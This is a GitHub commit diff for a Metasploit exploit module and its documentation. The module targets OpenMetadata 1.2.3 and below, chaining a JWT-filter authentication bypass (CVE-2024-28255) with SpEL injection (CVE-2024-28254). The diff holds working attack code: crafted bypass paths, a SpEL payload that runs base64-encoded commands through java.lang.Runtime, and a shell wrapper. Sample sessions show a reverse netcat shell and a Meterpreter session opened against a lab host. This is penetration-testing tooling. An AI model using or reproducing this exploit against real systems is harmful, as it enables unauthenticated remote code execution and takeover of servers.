Skip to content

Commit 75b3afb

Browse files
committed
Third release module and documentation
1 parent b3ce0ad commit 75b3afb

File tree

2 files changed

+30
-68
lines changed

2 files changed

+30
-68
lines changed

documentation/modules/exploit/linux/http/openmetadata_auth_bypass_rce.md

Lines changed: 14 additions & 37 deletions
Original file line numberDiff line numberDiff line change
@@ -45,15 +45,15 @@ msf6 exploit(linux/http/openmetadata_auth_bypass_rce) > info
4545
Name: OpenMetadata authentication bypass and SpEL injection exploit chain
4646
Module: exploit/linux/http/openmetadata_auth_bypass_rce
4747
Platform: Unix, Linux
48-
Arch: cmd, x64, x86
49-
Privileged: Yes
48+
Arch: cmd
49+
Privileged: No
5050
License: Metasploit Framework License (BSD)
5151
Rank: Excellent
5252
Disclosed: 2024-03-15
5353
5454
Provided by:
5555
h00die-gr3y <[email protected]>
56-
Matias Puerta alias tutte (https://github.com/tutte)
56+
Alvaro Muñoz alias pwntester (https://github.com/pwntester)
5757
5858
Module side effects:
5959
ioc-in-logs
@@ -68,8 +68,7 @@ Module reliability:
6868
Available targets:
6969
Id Name
7070
-- ----
71-
=> 0 Unix Command
72-
1 Linux Dropper
71+
=> 0 Automatic
7372
7473
Check supported:
7574
Yes
@@ -82,28 +81,17 @@ Basic options:
8281
html
8382
RPORT 8585 yes The target port (TCP)
8483
SSL false no Negotiate SSL/TLS for outgoing connections
85-
SSLCert no Path to a custom SSL certificate (default is randomly generated)
8684
TARGETURI / yes The URI path of the OpenMetadata web application
87-
URIPATH no The URI to use for this exploit (default is random)
8885
VHOST no HTTP server virtual host
8986
90-
91-
When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:
92-
93-
Name Current Setting Required Description
94-
---- --------------- -------- -----------
95-
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.
96-
0.0.0 to listen on all addresses.
97-
SRVPORT 8080 yes The local port to listen on.
98-
9987
Payload information:
10088
10189
Description:
10290
OpenMetadata is a unified platform for discovery, observability, and governance powered
10391
by a central metadata repository, in-depth lineage, and seamless team collaboration.
10492
This module chains two vulnerabilities that exist in the OpenMetadata aplication.
10593
The first vulnerability, CVE-2024-28255, bypasses the API authentication using JWT tokens.
106-
It misuses the `JwtFilter` that checks the path of url endpoint against a list of excluded
94+
It misuses the `JwtFilter` that checks the path of the url endpoint against a list of excluded
10795
endpoints that does not require authentication. Unfortunately, an attacker may use Path Parameters
10896
to make any path contain any arbitrary strings that will match the excluded endpoint condition
10997
and therefore will be processed with no JWT validation allowing an attacker to bypass the
@@ -117,16 +105,15 @@ Description:
117105
References:
118106
https://nvd.nist.gov/vuln/detail/CVE-2024-28255
119107
https://nvd.nist.gov/vuln/detail/CVE-2024-28254
120-
https://github.com/open-metadata/OpenMetadata/security/advisories/GHSA-6wx7-qw5p-wh84
108+
A https://securitylab.github.com/advisories/GHSL-2023-235_GHSL-2023-237_Open_Metadata/
121109
https://attackerkb.com/topics/f19fXpZn62/cve-2024-28255
122110
https://ethicalhacking.uk/unmasking-cve-2024-28255-authentication-bypass-in-openmetadata/
123111
112+
124113
View the full module info with the info -d command.
125114
```
126-
### OpenMetadata 1.2.3 Unix command - cmd/unix/reverse_netcat_gaping
115+
### OpenMetadata 1.2.3 Automatic - cmd/unix/reverse_netcat_gaping
127116
```msf
128-
msf6 exploit(linux/http/openmetadata_auth_bypass_rce) > set target 0
129-
target => 0
130117
msf6 exploit(linux/http/openmetadata_auth_bypass_rce) > set payload cmd/unix/reverse_netcat_gaping
131118
payload => cmd/unix/reverse_netcat_gaping
132119
msf6 exploit(linux/http/openmetadata_auth_bypass_rce) > set rhosts 192.168.201.42
@@ -149,29 +136,19 @@ pwd
149136
uname -a
150137
Linux 1e3c578a0acc 6.6.32-linuxkit #1 SMP PREEMPT_DYNAMIC Thu Jun 13 14:14:43 UTC 2024 x86_64 Linux
151138
```
152-
### OpenMetadata 1.2.3 Linux Dropper - linux/x64/meterpreter/reverse_tcp
139+
### OpenMetadata 1.2.3 Automatic - cmd/linux/http/x64/meterpreter/reverse_tcp
153140
```msf
154-
msf6 exploit(linux/http/openmetadata_auth_bypass_rce) > set target 1
155-
target => 1
156-
msf6 exploit(linux/http/openmetadata_auth_bypass_rce) > set payload linux/x64/meterpreter/reverse_tcp
157-
payload => linux/x64/meterpreter/reverse_tcp
141+
msf6 exploit(linux/http/openmetadata_auth_bypass_rce) > set payload cmd/linux/http/x64/meterpreter/reverse_tcp
142+
payload => cmd/linux/http/x64/meterpreter/reverse_tcp
158143
msf6 exploit(linux/http/openmetadata_auth_bypass_rce) > exploit
159144
160145
[*] Started reverse TCP handler on 192.168.201.8:4444
161146
[*] Running automatic check ("set AutoCheck false" to disable)
162147
[*] Trying to detect if target is running a vulnerable version of OpenMetadata.
163148
[+] The target is vulnerable. Version 1.2.3
164-
[*] Executing Linux Dropper for linux/x64/meterpreter/reverse_tcp
165-
[*] Using URL: http://192.168.201.8:8080/WnMaYO
166-
[*] Client 192.168.201.42 (Wget) requested /WnMaYO
167-
[*] Sending payload to 192.168.201.42 (Wget)
168-
[*] Command Stager progress - 50.46% done (55/109 bytes)
169-
[*] Command Stager progress - 70.64% done (77/109 bytes)
149+
[*] Executing Automatic for cmd/linux/http/x64/meterpreter/reverse_tcp
170150
[*] Sending stage (3045380 bytes) to 192.168.201.42
171-
[*] Command Stager progress - 82.57% done (90/109 bytes)
172-
[*] Command Stager progress - 100.00% done (109/109 bytes)
173-
[*] Meterpreter session 18 opened (192.168.201.8:4444 -> 192.168.201.42:55205) at 2024-07-29 15:30:41 +0000
174-
[*] Server stopped.
151+
[*] Meterpreter session 11 opened (192.168.201.8:4444 -> 192.168.201.42:50599) at 2024-07-31 14:31:37 +0000
175152
176153
meterpreter > getuid
177154
Server username: openmetadata
@@ -186,4 +163,4 @@ meterpreter > pwd
186163
meterpreter >
187164
```
188165
## Limitations
189-
Only limited payloads will work, so stick to the default payloads configured at the module.
166+
No limitations

modules/exploits/linux/http/openmetadata_auth_bypass_rce.rb

Lines changed: 16 additions & 31 deletions
Original file line numberDiff line numberDiff line change
@@ -7,7 +7,6 @@ class MetasploitModule < Msf::Exploit::Remote
77
Rank = ExcellentRanking
88
prepend Msf::Exploit::Remote::AutoCheck
99
include Msf::Exploit::Remote::HttpClient
10-
include Msf::Exploit::CmdStager
1110

1211
def initialize(info = {})
1312
super(
@@ -17,59 +16,48 @@ def initialize(info = {})
1716
'Description' => %q{
1817
OpenMetadata is a unified platform for discovery, observability, and governance powered
1918
by a central metadata repository, in-depth lineage, and seamless team collaboration.
20-
This module chains two vulnerabilities that exist in the OpenMetadat aaplication.
19+
This module chains two vulnerabilities that exist in the OpenMetadata aplication.
2120
The first vulnerability, CVE-2024-28255, bypasses the API authentication using JWT tokens.
22-
It misuses the `JwtFilter` that checks the path of url endpoint against a list of excluded
21+
It misuses the `JwtFilter` that checks the path of the url endpoint against a list of excluded
2322
endpoints that does not require authentication. Unfortunately, an attacker may use Path Parameters
2423
to make any path contain any arbitrary strings that will match the excluded endpoint condition
2524
and therefore will be processed with no JWT validation allowing an attacker to bypass the
2625
authentication mechanism and reach any arbitrary endpoint.
27-
By chaining this vulnerability with CVE-2024-28254, that allows for arbitrary SpEL expression
28-
injection at endpoint `/api/v1/events/subscriptions/validation/condition/<expression>`, attackers
26+
By chaining this vulnerability with CVE-2024-28254, that allows for arbitrary SpEL injection
27+
at endpoint `/api/v1/events/subscriptions/validation/condition/<expression>`, attackers
2928
are able to run arbitrary commands using Java classes such as `java.lang.Runtime` without any
3029
authentication.
3130
OpenMetadata versions `1.2.3` and below are vulnerable.
3231
},
3332
'License' => MSF_LICENSE,
3433
'Author' => [
3534
'h00die-gr3y <h00die.gr3y[at]gmail.com>', # Msf module contributor
36-
'Matias Puerta alias tutte (https://github.com/tutte)' # Original discovery
35+
'Alvaro Muñoz alias pwntester (https://github.com/pwntester)' # Original discovery
3736
],
3837
'References' => [
3938
['CVE', '2024-28255'],
4039
['CVE', '2024-28254'],
41-
['URL', 'https://github.com/open-metadata/OpenMetadata/security/advisories/GHSA-6wx7-qw5p-wh84'],
40+
['URL', 'https://securitylab.github.com/advisories/GHSL-2023-235_GHSL-2023-237_Open_Metadata/'],
4241
['URL', 'https://attackerkb.com/topics/f19fXpZn62/cve-2024-28255'],
4342
['URL', 'https://ethicalhacking.uk/unmasking-cve-2024-28255-authentication-bypass-in-openmetadata/']
4443
],
4544
'DisclosureDate' => '2024-03-15',
4645
'Platform' => ['unix', 'linux'],
47-
'Arch' => [ARCH_CMD, ARCH_X64, ARCH_X86],
48-
'Privileged' => true,
46+
'Arch' => [ARCH_CMD],
47+
'Privileged' => false,
4948
'Targets' => [
5049
[
51-
'Unix Command',
50+
'Automatic',
5251
{
53-
'Platform' => ['unix'],
54-
'Arch' => ARCH_CMD,
55-
'Type' => :unix_cmd,
56-
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_netcat_gaping' }
57-
}
58-
],
59-
[
60-
'Linux Dropper',
61-
{
62-
'Platform' => ['linux'],
63-
'Arch' => [ARCH_X64, ARCH_X86],
64-
'Type' => :linux_dropper,
65-
'CmdStagerFlavor' => ['wget', 'curl'],
66-
'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }
52+
'Platform' => ['unix', 'linux'],
53+
'Arch' => ARCH_CMD
6754
}
6855
]
6956
],
7057
'DefaultTarget' => 0,
7158
'DefaultOptions' => {
72-
'rport' => 8585
59+
'rport' => 8585,
60+
'FETCH_COMMAND' => 'WGET'
7361
},
7462
'Notes' => {
7563
'Stability' => [CRASH_SAFE],
@@ -99,6 +87,8 @@ def execute_command(cmd, _opts = {})
9987
'/api/v1;v1%2Fv1%2Fsystem%2Fconfig',
10088
'/api/v1;v1%2Fv1%2Fsystem%2Fversion'
10189
]
90+
# $@|sh – Getting a shell environment from Runtime.exec
91+
cmd = "sh -c $@|sh . echo #{cmd}"
10292
cmd_b64 = Base64.strict_encode64(cmd)
10393
spel_payload = "T(java.lang.Runtime).getRuntime().exec(new%20java.lang.String(T(java.util.Base64).getDecoder().decode(\"#{cmd_b64}\")))"
10494
paths_to_skip.shuffle!.each do |path|
@@ -139,11 +129,6 @@ def check
139129

140130
def exploit
141131
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
142-
case target['Type']
143-
when :unix_cmd
144-
execute_command(payload.encoded)
145-
when :linux_dropper
146-
execute_cmdstager(noconcat: true)
147-
end
132+
execute_command(payload.encoded)
148133
end
149134
end

0 commit comments

Comments
 (0)